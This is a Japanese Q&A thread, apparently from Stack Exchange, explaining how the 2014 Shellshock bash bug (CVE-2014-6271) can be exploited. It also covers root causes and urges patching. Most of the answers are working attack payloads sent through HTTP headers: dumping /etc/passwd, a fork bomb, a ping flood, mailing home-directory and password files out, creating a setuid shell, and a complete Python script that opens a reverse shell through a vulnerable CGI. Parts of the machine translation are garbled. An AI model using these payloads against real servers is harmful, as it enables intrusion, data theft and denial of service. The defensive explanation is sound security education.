Shellshock に関するいくつかの記事( article1 、 article2 、 article 、 article4 )を読みました=バッシュバグ( CVE-2014-6271 2014年9月24日報告)および脆弱性の概要と、それがどのように悪用される可能性があるかについての一般的な考えがあります。バグの影響をよりよく理解するために、バグを悪用する可能性のある攻撃ベクトル/シナリオの簡単で具体的な例は何ですか?
非常に単純な例は、cgi、/ var/www/cgi-bin/test.cgiです。
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
echo "Hi"
次に、それをwgetで呼び出して、ユーザーエージェント文字列を交換します。例えば。これにより、/ etc/passwdの内容が表示されます。
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi
分解するには:
"() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"
次のようになります。
() {
test
}
echo \"Content-type: text/plain\"
echo
echo
/bin/cat /etc/passwd
私が理解している問題は、環境変数で関数を定義しても問題ありませんが、bashはその後にコードを実行することを想定していないということです。
余分な「Content-type:」は説明のためだけのものです。 500エラーを防ぎ、ファイルの内容を表示します。
上記の例は、プログラミングエラーの問題ではないことも示しています。通常は安全で無害なbash cgiでさえ、ユーザーの入力を必要としない場合でも利用できます。
Bashへのアクセスにより、Webユーザーの視点からでも、オプションは無限大です。たとえば、フォーク爆弾は次のとおりです。
() { :; }; :(){ :|: & };:
それをブラウザーのユーザーエージェント文字列に入れて、Webページに移動し、WebサーバーのインスタントDoSを実行します。
または、誰かがサーバーを攻撃ボットとして使用する可能性があります。
() { :; }; ping -s 1000000 <victim IP>
それを他のいくつかのサーバーに置くと、実際の帯域幅について話します。
その他の攻撃ベクトル:
# theft of data
() { :; }; find ~ -print | mail -s "Your files" [email protected]
() { :; }; cat ~/.secret/passwd | mail -s "This password file" [email protected]
# setuid Shell
() { :; }; cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash
他にも無限の可能性があります。リバースシェル、ポートでのサーバーの実行、Webユーザーからrootユーザーに移動するためのルートキットの自動ダウンロード。シェルだ!それは何でもできます。セキュリティ災害に関する限り、これはHeartbleedよりもさらに悪いです。
重要な部分は、システムにパッチを適用することです。 NOW!まだパッチが適用されていない外部向けサーバーがある場合、これをまだ読んでいますか?
ハッカーはすでにこれらのことを上で行っており、あなたもそれを知りません!
サーバーだけではありません。クライアントソフトウェアも影響を受ける可能性があります。これが 脆弱なDHCPクライアントの例 です。マシンにそのような脆弱なクライアント(および壊れたbash)がある場合、サブネット上のマシンは不正なDHCP応答を送信し、ルート権限を取得できます。
Unixのプロセス間で状態を共有するために環境変数が広く使用されていること、および潜在的に関与するソフトウェアの量を考えると、攻撃対象領域は非常に大きくなります。 Webサーバーを実行しないため、マシンが安全であるとは思わないでください。唯一の修正は、bashにパッチを適用し、複雑度の低いデフォルトのシェル(ダッシュなど)に切り替えることを検討し、類似の脆弱性がそれほど多くないことを期待することです。
これが問題になるために、bashを明示的に使用する必要はありません。本当の問題は、攻撃者が環境変数の値に発言権を与えることを可能にすることです。環境が設定された後、一部のシェルが準備されていない環境で実行される(多分あなたには知られていない)のは時間の問題です。
すべてのプログラム(bash、Java、tcl、phpなど)には次のシグネチャがあります。
int main(int argc, char** argv, char** arge);
開発者は、argcとargvがクリーンかどうかをチェックする習慣があります。ほとんどの場合、argeを無視し、サブシェルを(明示的または暗黙的に)生成する前にそれを検証しようとしません。この場合、bashは自分自身を不正な入力から正しく防御していません。アプリケーションをワイヤリングするために、サブプロセスが生成されます。その下部では、次のようなことが起こります。
//We hardcoded the binary, and cleaned the arg, so we assume that
//there can be no malicious input - but the current environment is passed
//in implicitly.
execl("/bin/bash", "bash", "-c", "/opt/initTech/bin/dataScrape", cleanedArg, NULL);
独自のコードでは、bashへの参照がない場合があります。しかし、おそらくtclを起動し、tclコードの奥深くで何かがbashを起動します。現在設定されている環境変数を継承します。
脆弱なバージョンのbashの場合、次のようなことが起こっています。
int main(int argc, char** argv, char** arge) { //bash's main function
....
parseEnvironment(arge); //!!!! read function definitions and var defines
....
doArgv(argc, argv);
....
}
ParseEnvironmentは、必ずしも認識する必要のない一連の環境変数定義を検出します。しかしguessこれらの環境変数の一部は関数定義であることがわかります。
INITTECH_HOME=/opt/initTech
HTTP_COOKIE=() { :; }; /usr/bin/eject
BashはHTTP_COOKIEが何であるかを知りません。しかし、それは()で始まるので、bash guessesは関数定義であることを示します。また、関数定義でいくつかの副作用を初期化する必要があるため、関数定義の直後に実行されるコードを追加することもできます。このパッチは、関数定義の後に副作用を追加する機能を削除します。
しかし、環境変数が攻撃者が提供する関数定義で休止状態にある可能性があるという全体的な考えは、依然として非常に不安定です!
recieve='() { echo you meant receive lol; }'
攻撃者がこの変数名に指定された値を取得させ、bashサブプロセスがその名前で関数を呼び出そうとするのを待つことができることを知っている場合、これは別の攻撃ベクトルになります。
これは入力の検証に対する古い警告です。シェルは驚くべき実装の詳細として生成される可能性があるため、neverは環境変数をtightly検証されていない値に設定します。つまり、この環境変数を読み取る可能性のあるプログラムは、値に対して予期しないことを行わないということです。コードとして実行するなど。
今日はbashです。明日はJava、sh、tcl、またはnodeです。それらはすべて、メイン関数に環境ポインターを取り込みます。そして、それらはすべて、それらが安全に処理されるものに異なる制限があります(パッチが適用されるまで)。
これは、テストされていない、リモート攻撃用のCGIスクリプトの例です- http://Pastebin.com/166f8Rjx から取得
すべてのエクスプロイトと同様に、状況に依存します。 Webサーバー上のリモートcgiファイルに接続し、リバースシェルを起動します
(){無視;};/bin/bash-i>&/ dev/tcp /%s 0>&1 "%sys.argv [3 ]
#
#CVE-2014-6271 cgi-bin reverse Shell
#
import httplib,urllib,sys
if (len(sys.argv)<4):
print "Usage: %s <Host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
exit(0)
conn = httplib.HTTPConnection(sys.argv[1])
reverse_Shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
headers = {"Content-type": "application/x-www-form-urlencoded",
"test":reverse_Shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data